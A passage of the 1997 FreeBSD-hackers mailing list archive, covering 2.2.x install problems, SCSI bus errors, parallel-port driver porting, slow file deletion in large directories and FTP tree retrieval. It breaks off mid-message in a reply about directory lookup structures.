10:40:00 +0100 (BST) Received: (from nik@localhost) by carrig.strand.iii.co.uk (8.8.7/8.8.7) id KAA00468; Fri, 15 Aug 1997 10:45:24 +0100 (BST) Message-ID: <19970815104523.29539@strand.iii.co.uk> Date: Fri, 15 Aug 1997 10:45:23 +0100 From: nik@iii.co.uk To: "Jordan K. Hubbard" Cc: "Paul F. Wells" , Michael Smith , The Classiest Man Alive , freebsd-hackers@FreeBSD.ORG Subject: Re: 2.2.2-RELEASE is driving me up the bloody wall!!!!! References: <28333.871596741@wellserv.com> <2978.871608063@time.cdrom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.76e In-Reply-To: <2978.871608063@time.cdrom.com>; from Jordan K. Hubbard on Thu, Aug 14, 1997 at 06:21:03PM -0700 Organization: interactive investor Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, Aug 14, 1997 at 06:21:03PM -0700, Jordan K. Hubbard wrote: > And people REALLY REALLY REALLY need to get into the habit of reading > the errata (see http://www.freebsd.org/releases). We've answered a > lot of the same questions from the errata only 20 or 30 times in the > last week or so. :-( You might want to refocus the site a little more, and draw attention to this information. Specifically, stick up a page that appears prior to the existing first page on the site. Something like If you've heard about FreeBSD, and want to know more then _click here_ (takes them to the current home page) If you've just installed FreeBSD, but are having problems then _click here_ (takes them to errata.txt) If you're an existing user, and want to check out the ports collection, the online documentation, and so on, then _click here_ Obviously the text needs work (and I'm definitely not advocating the use of _click here_ under any circumstances) but you see my point. N -- --+==[ Nik Clayton is Just Another Perl Hacker at Interactive Investor ]==+-- "The good guys dress in black. Remember that." NC5-RIPE From owner-freebsd-hackers Fri Aug 15 02:49:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA18415 for hackers-outgoing; Fri, 15 Aug 1997 02:49:13 -0700 (PDT) Received: from gatekeeper.barcode.co.il (gatekeeper.barcode.co.il [192.116.93.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA18392; Fri, 15 Aug 1997 02:48:59 -0700 (PDT) Received: (from nadav@localhost) by gatekeeper.barcode.co.il (8.8.5/8.6.12) id MAA07619; Fri, 15 Aug 1997 12:48:52 +0300 (IDT) Date: Fri, 15 Aug 1997 12:48:51 +0300 (IDT) From: Nadav Eiron To: Stefan Esser cc: hackers@freebsd.org, Stefan Esser Subject: Re: NCR 810 fatal errors during install. (desperate plea) In-Reply-To: <19970812234941.17949@mi.uni-koeln.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 12 Aug 1997, Stefan Esser wrote: > On Aug 12, Nadav Eiron wrote: > > I've already tried the following on questions and scsi to no avail. Since > > Hmmm, had not seen it before ... > > > We have here a DECpc XL 590 (it used to be a 466, but got upgraded > > recently). This machine has a Nepture chipset, built-in NCR 53C810, 32MB RAM > > and a DE435 ethernet card. > > Wasn't the neptun buggy and known to fail if used with > multiple bus-master cards ? Seems so, but that's what I have here (the machine is about 4 years old, don't think there was anything better back then). > (Please try to boot with both caches disabled and let > me know, whether you see the same problem.) It's the same. However, the Handbook section on hardware seems to suggest there's a problem with the arbiter in the Neptune chipset. My BIOS setup (it's a phoenix BIOS) has an option called "PCI Arbiter". It's currently set to System Default, and has a big red warning on it saying it is dangerous to change if you don't know what you're doing, but it may be what we need. Do you have any idea what I should set it to? The options it has are System Default, Pure Rotating, and one for each master (i.e., CPU, Built-In SCSI, ISA Bus, PCI Slot 2 and PCI Slot 3). Any advice on what to try here, if at all it would help, or should I just do trial and error? > > > On the SCSI bus I have: > > ID 0 - Quantum LPS340S (340MB disk). > > ID 1 - HP C3323-300 (1GB disk). > > ID 5 - Toshiba XM-4101TA (2x CD). > > > > All are recognized correctly during boot (both disks work at 10MB/sec). > > Both 2.2.2-RELEASE and 2.2-090801-RELENG installs give the following > > shortly after starting writing to the disks (either during newfs-ing them > > or while copying): > > > > ncr0:0: ERROR (20:0) (8-28-0) (8/13) @ (e18:18000140). > > The 20 indicates the BF flag (bus fault) is set in the > DSTAT interrupt cause register. This means, that a PCI > bus transaction failed. > > But this is just a guess ... > > Regards, STefan > Thanks, Nadav From owner-freebsd-hackers Fri Aug 15 03:01:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA18840 for hackers-outgoing; Fri, 15 Aug 1997 03:01:50 -0700 (PDT) Received: from soleil.uvsq.fr (soleil.uvsq.fr [193.51.24.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA18827; Fri, 15 Aug 1997 03:01:45 -0700 (PDT) Received: from guillotin.prism.uvsq.fr (guillotin.prism.uvsq.fr [193.51.25.1]) by soleil.uvsq.fr (8.8.6/jtpda-5.2) with ESMTP id MAA11339 ; Fri, 15 Aug 1997 12:01:40 +0200 (METDST) Received: from coreff (rtc104.reseau.uvsq.fr [193.51.24.20]) by guillotin.prism.uvsq.fr (8.8.4/jtpda-5.2) with SMTP id MAA03862 ; Fri, 15 Aug 1997 12:01:37 +0200 (MET DST) Message-ID: <33F43E94.41C67EA6@prism.uvsq.fr> Date: Fri, 15 Aug 1997 11:33:40 +0000 From: Nicolas Souchu X-Mailer: Mozilla 3.01Gold (X11; I; FreeBSD 2.2.1-RELEASE i386) MIME-Version: 1.0 To: FreeBSD hackers CC: FreeBSD hardware Subject: Parallel port developpements - ppbus Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi there! ppbus (Parallel port bus) brings generic functions for peripherial detection and parallel port sharing. This generic support for the parallel port allows us to port the existing Linux drivers develpped by the Linux-parport Team. see http://www.torque.net/linux-pp.html for more info. The code is under the GPL... of course. These drivers are mostly maintained by: Philip Blundell and Grant R. Guenther First, _stable_ drivers may be ported and later others if their spec become available (or if somebody is happy to hack them :) You may want to contribute... The existing ppi (Parallel port interface on ppbus) supports loadable kernel modules. ;) Anyway, tell us which parallel-port-hardware should be first ported. ---------------------------------------------------------------------------- nicolas -- Nicolas.Souchu@prism.uvsq.fr My ZIP Iomega home page... http://www.prism.uvsq.fr/~son/ppa3.html From owner-freebsd-hackers Fri Aug 15 03:08:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA19147 for hackers-outgoing; Fri, 15 Aug 1997 03:08:41 -0700 (PDT) Received: from gateway.cam-ani.co.uk (gateway.cam-ani.co.uk [193.195.55.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id DAA19133 for ; Fri, 15 Aug 1997 03:08:33 -0700 (PDT) Received: from louie by gateway.cam-ani.co.uk (CAS1.1) id AA08024; Fri, 15 Aug 97 11:08:25 +0100 Received: from dumbo.cam-ani.co.uk (dumbo [192.42.172.34]) by louie.cam-ani.co.uk (8.7.5/8.7.3) with SMTP id LAA02956 for ; Fri, 15 Aug 1997 11:08:25 +0100 (BST) Message-Id: <199708151008.LAA02956@louie.cam-ani.co.uk> Received: by dumbo.cam-ani.co.uk (NX5.67f2/NX3.0X) id AA09093; Fri, 15 Aug 97 11:08:23 +0100 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) Received: by NeXT.Mailer (1.118.2) From: Ian Stephenson Date: Fri, 15 Aug 97 11:08:22 +0100 To: freebsd-hackers@FreeBSD.ORG Subject: -ve time in calcru References: <28333.871596741@wellserv.com> <2978.871608063@time.cdrom.com> <19970815104523.29539@strand.iii.co.uk> X-Url: http://www.geocities.com/SunsetStrip/Club/9199/ Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Ever scince I upgraded to 2.2 I've been getting messages on console indicating -ve time in calcru. I've tracked down the printf, but thats not very helpfull, as the error is clearly some way before that point. The problem is probably tied to ether traffic, as I only seem get the message when my NeXT (the only other machine on the ether) is turned on, (or has been turned on). The ether card is a cheap ne2000 clone which worked fine under 2.1.7. Apart form these messages the machine works fine, unless the messages occur during boot in which case the timing for hardware initialisation gets messed up. Has anyone seen this, or know what the problem might be? Thanks, $an From owner-freebsd-hackers Fri Aug 15 03:45:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA20759 for hackers-outgoing; Fri, 15 Aug 1997 03:45:04 -0700 (PDT) Received: from critter.dk.tfs.com ([140.145.230.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA20729; Fri, 15 Aug 1997 03:44:57 -0700 (PDT) Received: from critter.dk.tfs.com (localhost [127.0.0.1]) by critter.dk.tfs.com (8.8.6/8.8.5) with ESMTP id MAA05698; Fri, 15 Aug 1997 12:43:46 +0200 (CEST) To: Nicolas Souchu cc: FreeBSD hackers , FreeBSD hardware Subject: Re: Parallel port developpements - ppbus In-reply-to: Your message of "Fri, 15 Aug 1997 11:33:40 -0000." <33F43E94.41C67EA6@prism.uvsq.fr> Date: Fri, 15 Aug 1997 12:43:45 +0200 Message-ID: <5696.871641825@critter.dk.tfs.com> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <33F43E94.41C67EA6@prism.uvsq.fr>, Nicolas Souchu writes: >Hi there! > >ppbus (Parallel port bus) brings generic functions for peripherial >detection >and parallel port sharing. Cool! >Anyway, tell us which parallel-port-hardware should be first ported. >---------------------------------------------------------------------------- Well, how about parallel printers and the PLIP/LPIP support ? :-) -- Poul-Henning Kamp | phk@FreeBSD.ORG FreeBSD Core-team. http://www.freebsd.org/~phk | phk@login.dknet.dk Private mailbox. whois: [PHK] | phk@tfs.com TRW Financial Systems, Inc. Power and ignorance is a disgusting cocktail. From owner-freebsd-hackers Fri Aug 15 04:23:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id EAA22097 for hackers-outgoing; Fri, 15 Aug 1997 04:23:57 -0700 (PDT) Received: from hokkshideh.jetcafe.org (hokkshideh.jetcafe.org [207.155.21.4]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id EAA22092 for ; Fri, 15 Aug 1997 04:23:54 -0700 (PDT) Received: from hokkshideh.jetcafe.org (localhost [127.0.0.1]) by hokkshideh.jetcafe.org (8.8.5/8.8.5) with ESMTP id EAA23908; Fri, 15 Aug 1997 04:27:06 -0700 (PDT) Message-Id: <199708151127.EAA23908@hokkshideh.jetcafe.org> X-Mailer: exmh version 2.0delta 6/3/97 To: Jaye Mathisen Cc: hackers@FreeBSD.ORG Subject: Re: Besides time, what the heck does it take to get DPT driver into , 2.2-stable? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 15 Aug 1997 04:27:05 -0700 From: Dave Hayes Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jaye Mathisen writes: JM> :) I'm getting tired repatching my source tree all the time. Will this at least make 2.2.5, considering the reports of stability I am hearing (veracity unknown, but first hand experience coming)? Also, is 3.0 the last OS revision tree split FreeBSD will undergo? (Maybe I should duck, but...I gotta know.) ------ Dave Hayes - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet If you want to shoot for the moon, aim for the sun From owner-freebsd-hackers Fri Aug 15 05:10:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA23584 for hackers-outgoing; Fri, 15 Aug 1997 05:10:42 -0700 (PDT) Received: from shrimp.dataplex.net (shrimp.dataplex.net [208.2.87.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA23579 for ; Fri, 15 Aug 1997 05:10:39 -0700 (PDT) Received: from [208.2.87.4] (user4.dataplex.net [208.2.87.4]) by shrimp.dataplex.net (8.8.5/8.8.5) with ESMTP id HAA29912; Fri, 15 Aug 1997 07:10:19 -0500 (CDT) X-Sender: rkw@mail.dataplex.net Message-Id: In-Reply-To: <199708151127.EAA23908@hokkshideh.jetcafe.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Fri, 15 Aug 1997 07:09:53 -0500 To: Dave Hayes From: Richard Wackerbarth Subject: Re: Besides time, what the heck does it take ... Cc: hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 6:27 AM -0500 8/15/97, Dave Hayes wrote: >Also, is 3.0 the last OS revision tree split FreeBSD will undergo? >(Maybe I should duck, but...I gotta know.) I should hope not! As long as the general architecture is viable, there should continue to be improvements. To deny the ability to make fundamental changes to the API dooms the system to perpetual legacy baggage. From owner-freebsd-hackers Fri Aug 15 05:15:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA23727 for hackers-outgoing; Fri, 15 Aug 1997 05:15:04 -0700 (PDT) Received: from kcgw1.att.com (kcgw1.att.com [192.128.133.151]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA23722 for ; Fri, 15 Aug 1997 05:15:02 -0700 (PDT) Received: from ulysses.att.com by kcig1.att.att.com (SMI-8.6/EMS-1.2 sol2) id HAA07388; Fri, 15 Aug 1997 07:05:50 -0500 Received: from akiva.homer.att.com [135.205.213.77] by ulysses; Fri Aug 15 08:14:55 EDT 1997 Received: by akiva.homer.att.com (4.1) id AA15850; Fri, 15 Aug 97 08:14:55 EDT Message-Id: <9708151214.AA15850@akiva.homer.att.com> Received: from localhost.homer.att.com [127.0.0.1] by akiva; Fri Aug 15 08:14:52 EDT 1997 To: freebsd-hackers@freebsd.org Subject: releng22.freebsd.org ftp Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 15 Aug 1997 08:14:50 -0400 From: "J. W. Ballantine" Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, Dumb question 724: Is there some specific reason why the ftp service on releng22.freebsd.org doesn't allow one to: get 2.2-970814-RELENG.tar ?? But rather require one to build the dir tree by hand and the do a prompt and mget *. Just curious.. Jim From owner-freebsd-hackers Fri Aug 15 05:20:40 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA23965 for hackers-outgoing; Fri, 15 Aug 1997 05:20:40 -0700 (PDT) Received: from dg-rtp.dg.com (dg-rtp.rtp.dg.com [128.222.1.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA23960 for ; Fri, 15 Aug 1997 05:20:35 -0700 (PDT) Received: by dg-rtp.dg.com (5.4R3.10/dg-rtp-v02) id AA15250; Fri, 15 Aug 1997 08:20:03 -0400 Received: from ponds by dg-rtp.dg.com.rtp.dg.com; Fri, 15 Aug 1997 08:20 EDT Received: from lakes.dignus.com (lakes [10.0.0.3]) by ponds.dignus.com (8.8.5/8.7.3) with ESMTP id IAA07496 for ; Fri, 15 Aug 1997 08:09:00 -0400 (EDT) Received: (from rivers@localhost) by lakes.dignus.com (8.8.5/8.6.9) id HAA01010 for freebsd-hackers@freefall.cdrom.com; Fri, 15 Aug 1997 07:57:50 -0400 (EDT) Date: Fri, 15 Aug 1997 07:57:50 -0400 (EDT) From: Thomas David Rivers Message-Id: <199708151157.HAA01010@lakes.dignus.com> To: ponds!freefall.cdrom.com!freebsd-hackers Subject: Re: More info on slow "rm" times with 2.2.1+. Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk David Greene writes: > > The answer to this is that FreeBSD, like many (most?) other operating > systems, doesn't handle very large directories very well. When I was looking > into similar slowness on a different news server, I found that the > control.cancel newsgroup directory was more than 10MB large! I think it > contained more than 200,000 files, but I don't recall the exact number. Ah... I haven't seen my own follow ups yet; you may already know this... But, apparently, it's 2.2.x that doesn't handle large directories very well - 2.1.7 seems to work like a champ. It was taking 3-5 seconds to remove a file in a 300-400 entry directory with 2.2.1. It took only 3 seconds to remove all 300+ files with 2.1.7. [I booted up 2.1.7 with a fixit floppy, mounted the news partition and just did a "rm *" in control - *poof, they are all gone...] This is most definately a 2.2.x phenomenon... - Dave Rivers - From owner-freebsd-hackers Fri Aug 15 05:32:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA24363 for hackers-outgoing; Fri, 15 Aug 1997 05:32:18 -0700 (PDT) Received: from csnet.cs.technion.ac.il (csnet.cs.technion.ac.il [132.68.32.7]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA24338 for ; Fri, 15 Aug 1997 05:32:06 -0700 (PDT) Received: from csd.csa (csd [132.68.32.8]) by csnet.cs.technion.ac.il (8.6.11/8.6.10) with ESMTP id PAA05022; Fri, 15 Aug 1997 15:31:36 +0300 Received: from localhost by csd.csa (SMI-8.6/SMI-SVR4) id PAA00574; Fri, 15 Aug 1997 15:31:43 +0300 Date: Fri, 15 Aug 1997 15:31:43 +0300 (IDT) From: Nadav Eiron X-Sender: nadav@csd To: "J. W. Ballantine" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: releng22.freebsd.org ftp In-Reply-To: <9708151214.AA15850@akiva.homer.att.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 15 Aug 1997, J. W. Ballantine wrote: > > Hi, > > Dumb question 724: Is there some specific reason why the > ftp service on releng22.freebsd.org doesn't allow one to: > > get 2.2-970814-RELENG.tar > > ?? But rather require one to build the dir tree by hand and > the do a prompt and mget *. > Dunno, but wget (in the ports tree) is your friend. It will let you grab a whole hierarchy with a single command. As a matter of fact, I'm using it right now to fetch 2.2-970814-RELENG... > > Just curious.. > > Jim > > Nadav From owner-freebsd-hackers Fri Aug 15 06:12:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA25783 for hackers-outgoing; Fri, 15 Aug 1997 06:12:33 -0700 (PDT) Received: from trifork.gu.net (trifork.gu.net [194.93.190.194]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA25774 for ; Fri, 15 Aug 1997 06:12:20 -0700 (PDT) Received: from localhost (localhost.gu.kiev.ua [127.0.0.1]) by trifork.gu.net (8.8.6/8.8.6) with SMTP id QAA00405; Fri, 15 Aug 1997 16:11:35 +0300 (EEST) Date: Fri, 15 Aug 1997 16:11:35 +0300 (EEST) From: Andrew Stesin Reply-To: stesin@gu.net To: "J. W. Ballantine" cc: freebsd-hackers@FreeBSD.ORG Subject: Re: releng22.freebsd.org ftp In-Reply-To: <9708151214.AA15850@akiva.homer.att.com> Message-ID: X-NCC-RegID: ua.gu MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Fri, 15 Aug 1997, J. W. Ballantine wrote: > > Dumb question 724: You may use ncftp2 and `get -R whatever' command. It will create a copy of the whole tree for you. Best regards, Andrew Stesin nic-hdl: ST73-RIPE From owner-freebsd-hackers Fri Aug 15 07:14:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA28729 for hackers-outgoing; Fri, 15 Aug 1997 07:14:41 -0700 (PDT) Received: from mail.virginia.edu (mail.Virginia.EDU [128.143.2.9]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA28724 for ; Fri, 15 Aug 1997 07:14:34 -0700 (PDT) Received: from mail.cs.virginia.edu by mail.virginia.edu id aa18293; 15 Aug 97 10:14 EDT Received: from archive.cs.Virginia.EDU (root@archive.cs.Virginia.EDU [128.143.136.9]) by ares.cs.Virginia.EDU (8.8.5/8.8.5) with ESMTP id KAA25023; Fri, 15 Aug 1997 10:14:29 -0400 (EDT) Received: from stretch.cs.Virginia.edu (atf3r@stretch-fo.cs.Virginia.EDU [128.143.136.14]) by archive.cs.Virginia.EDU (8.7.5/8.7.3) with SMTP id KAA13646; Fri, 15 Aug 1997 10:14:28 -0400 (EDT) Received: by stretch.cs.Virginia.edu (4.1/SMI-2.0) id AA17027; Fri, 15 Aug 97 10:14:27 EDT Date: Fri, 15 Aug 1997 10:14:26 -0400 (EDT) From: "Adrian T. Filipi-Martin" Reply-To: adrian@virginia.edu To: StevenR362@aol.com Cc: SimsS@ibm.net, freebsd-hackers@freebsd.org Subject: Re: FreeBSD --- ALPHA In-Reply-To: <970814222009_-2074127211@emout14.mail.aol.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 14 Aug 1997 StevenR362@aol.com wrote: > > Somebody should repost the J. Monroy and the motorcycle cowlings post > too. I still chuckle over that one. > > Steve Or better yet, J. Monroy Sr.'s denunciation of J. Monroy Jr. That was a real hoot. Deliberate mispellings and all. Adrian -- adrian@virginia.edu ---->>>>| If I were stranded on a desert island, and System Administrator --->>>| I could only have one OS for my computer, Neurosurgical Visualzation Lab -->>| it would be FreeBSD. Think about it..... http://www.nvl.virginia.edu/ ->| http://www.freebsd.org/ From owner-freebsd-hackers Fri Aug 15 07:15:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA28798 for hackers-outgoing; Fri, 15 Aug 1997 07:15:33 -0700 (PDT) Received: from Lisa.engelska.se (elmo@blah.blah.blah.blah.engelska.se [193.14.46.3]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA28786 for ; Fri, 15 Aug 1997 07:15:28 -0700 (PDT) Received: from noname.engelska.se ([193.14.46.27]) by engelska.se with SMTP id <26400-77>; Fri, 15 Aug 1997 15:18:26 +0000 From: "=?iso-8859-1?Q?Thomas_Str=94mberg_=28Nobody=29?=" To: Subject: Signal 11's.. Date: Fri, 15 Aug 1997 16:14:59 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.1008.3 X-MimeOle: Produced By Microsoft MimeOLE Engine V4.71.1008.3 Message-Id: <97Aug15.151826+0000_gmt.26400-77+45@engelska.se> Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On my FreeBSD-testing machine, I've been having problems installing the 0812, 0813, and 0815 SNAP's (no problem with 2.2.2-RELEASE, 0618 SNAP, or 0731 SNAP, at least during the install). Over an FTP install, it seems to suddenly stop in random spots, with Write (-1 of 1024 bytes) and other odd errors. I'll have to re-enable debug to give you a more technical post, but this is what it says in the "emergency shell" window (debug not enabled): DEBUG: FTP Shutdown called. OpenConn = 1e94d0 DEBUG: Signal 11 Caught - that's bad! This is from an FTP server inside the lan (tried using both IIS and WarFTPD on two servers). If relevant: Kernel Enabled: 3C509 (10/340), SysCon, Floppy, both IDE selections. Packages Selected: bin, doc, ports, man (has crashed in both bin, doc) Hardware: AMD K5/133 (166+), 3C509 Ethernet, S3 video. I talked to Jordan about it, he said he'd test it.. any luck? :) ----------------- ----- --- -- - - - - Thomas Strömberg. Nobody. SysAdmin @ Engelska Skolan Work: nobody@engelska.se Home: trs@bromma.it.kth.se - - - - - -- ---- ----- ----------------- From owner-freebsd-hackers Fri Aug 15 07:28:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA29240 for hackers-outgoing; Fri, 15 Aug 1997 07:28:55 -0700 (PDT) Received: from csemail.cropsci.ncsu.edu (csemail.cropsci.ncsu.edu [152.1.88.3]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA29232 for ; Fri, 15 Aug 1997 07:28:51 -0700 (PDT) From: rdkeys@csemail.cropsci.ncsu.edu Received: by csemail.cropsci.ncsu.edu (5.61-AIX-1.2/1.0) id AA100202 (for freebsd-hackers@freebsd.org, from rdkeys/rdkeys@csemail.cropsci.ncsu.edu); Fri, 15 Aug 97 10:38:18 -0400 Message-Id: <9708151438.AA100202@csemail.cropsci.ncsu.edu> Subject: Thanks for all you assistance! To: freebsd-hackers@freebsd.org Date: Fri, 15 Aug 1997 10:38:14 -0400 (EDT) Cc: rdkeys@csemail.cropsci.ncsu.edu () X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I would like to extend my sincere gratitude to those of the FreeBSD crewe that helped me get my 2.2-RELENG box up and going. It now seems to work to my satisfaction, and cvsup ran fine today. Bob Keys rdkeys@csemail.cropsci.ncsu.edu From owner-freebsd-hackers Fri Aug 15 08:47:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA03080 for hackers-outgoing; Fri, 15 Aug 1997 08:47:01 -0700 (PDT) Received: from papagaio.voga.com.br (papagaio.voga.com.br [200.239.39.2]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA03070 for ; Fri, 15 Aug 1997 08:46:47 -0700 (PDT) Received: by papagaio.voga.com.br(Lotus SMTP MTA v1.06 (346.7 3-18-1997)) id 032564F4.00570A88 ; Fri, 15 Aug 1997 12:50:43 -0300 X-Lotus-FromDomain: VOGA From: "Daniel Sobral" To: hackers@freebsd.org Message-ID: <032564F4.00535D8E.00@papagaio.voga.com.br> Date: Fri, 15 Aug 1997 12:15:18 -0300 Subject: sysinstall & rc.conf Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Ok, ok, I know I should have reported this at the time, but I was busy, and then I just forgot. But since someone reported here a similar problem, I thought I should mention mine... Some time ago I entered sysinstall to do some managing on the system. I entered and left the program a few times, not sure exactly what I did, though I try to be very careful not to let the program do anything besides what I explicitly told it to. Anyway, next time I booted, the network did not work. After a some time, I discovered rc.conf *empy*, and a backup of it *also* empty! The sysinstall was not as current as my current, which was not that current at all, anyway... :-) If anyone wants, I can make update, compile a new sysinstall, and play a little with it. I could even be talked into filing a send-pr... :-) From owner-freebsd-hackers Fri Aug 15 08:57:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA03600 for hackers-outgoing; Fri, 15 Aug 1997 08:57:33 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id IAA03592 for ; Fri, 15 Aug 1997 08:57:28 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id IAA22952; Fri, 15 Aug 1997 08:52:07 -0700 From: Terry Lambert Message-Id: <199708151552.IAA22952@phaeton.artisoft.com> Subject: Re: FreeBSD --- ALPHA To: StevenR362@aol.com Date: Fri, 15 Aug 1997 08:52:07 -0700 (MST) Cc: SimsS@ibm.net, freebsd-hackers@FreeBSD.ORG In-Reply-To: <970814222009_-2074127211@emout14.mail.aol.com> from "StevenR362@aol.com" at Aug 14, 97 10:23:30 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Somebody should repost the J. Monroy and the motorcycle cowlings post > too. I still chuckle over that one. "Fairings". Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Fri Aug 15 09:13:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA04182 for hackers-outgoing; Fri, 15 Aug 1997 09:13:27 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA04177 for ; Fri, 15 Aug 1997 09:13:22 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id JAA22981; Fri, 15 Aug 1997 09:07:30 -0700 From: Terry Lambert Message-Id: <199708151607.JAA22981@phaeton.artisoft.com> Subject: Re: More info on slow "rm" times with 2.2.1+. To: dg@root.com Date: Fri, 15 Aug 1997 09:07:29 -0700 (MST) Cc: ponds!rivers@dg-rtp.dg.com, freebsd-hackers@FreeBSD.ORG In-Reply-To: <199708150532.WAA12760@implode.root.com> from "David Greenman" at Aug 14, 97 10:32:14 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > The answer to this is that FreeBSD, like many (most?) other operating > systems, doesn't handle very large directories very well. When I was looking > into similar slowness on a different news server, I found that the > control.cancel newsgroup directory was more than 10MB large! I think it > contained more than 200,000 files, but I don't recall the exact number. Just some thoughts... The NT and OS/2 FS's both use btree's for their lookups. While it is initially expensive to fault inodes at the same time as directory entries, it's possible to do. Adding the directory entry offset to the DNLC cache, and doing the faulting asynchronously *dramatically* improves large directory performance, as long as there is high locality in the requests, or the cache is ~50% of the remaining entries in the directory in size (to delete an inode, you must fault it twice to be able to modify the reference count -- this is a problem in the way hard links are handled -- the same reason you can't have a parent pointer on normal files). If you could actually *use* the DNLC for deletes, it'd be a serious win. Part of the DNLC problem is that the vnodes it references are backed by an ihash. The ihash needs to go away, preferrably by making the vnodes per FS, and adding a per FS "vrele"; this would shorten the search algorithm by N*log2(N). The FFS directory structure lends itself rather easily to skiplists, if a NULL initial record is tagged by something other 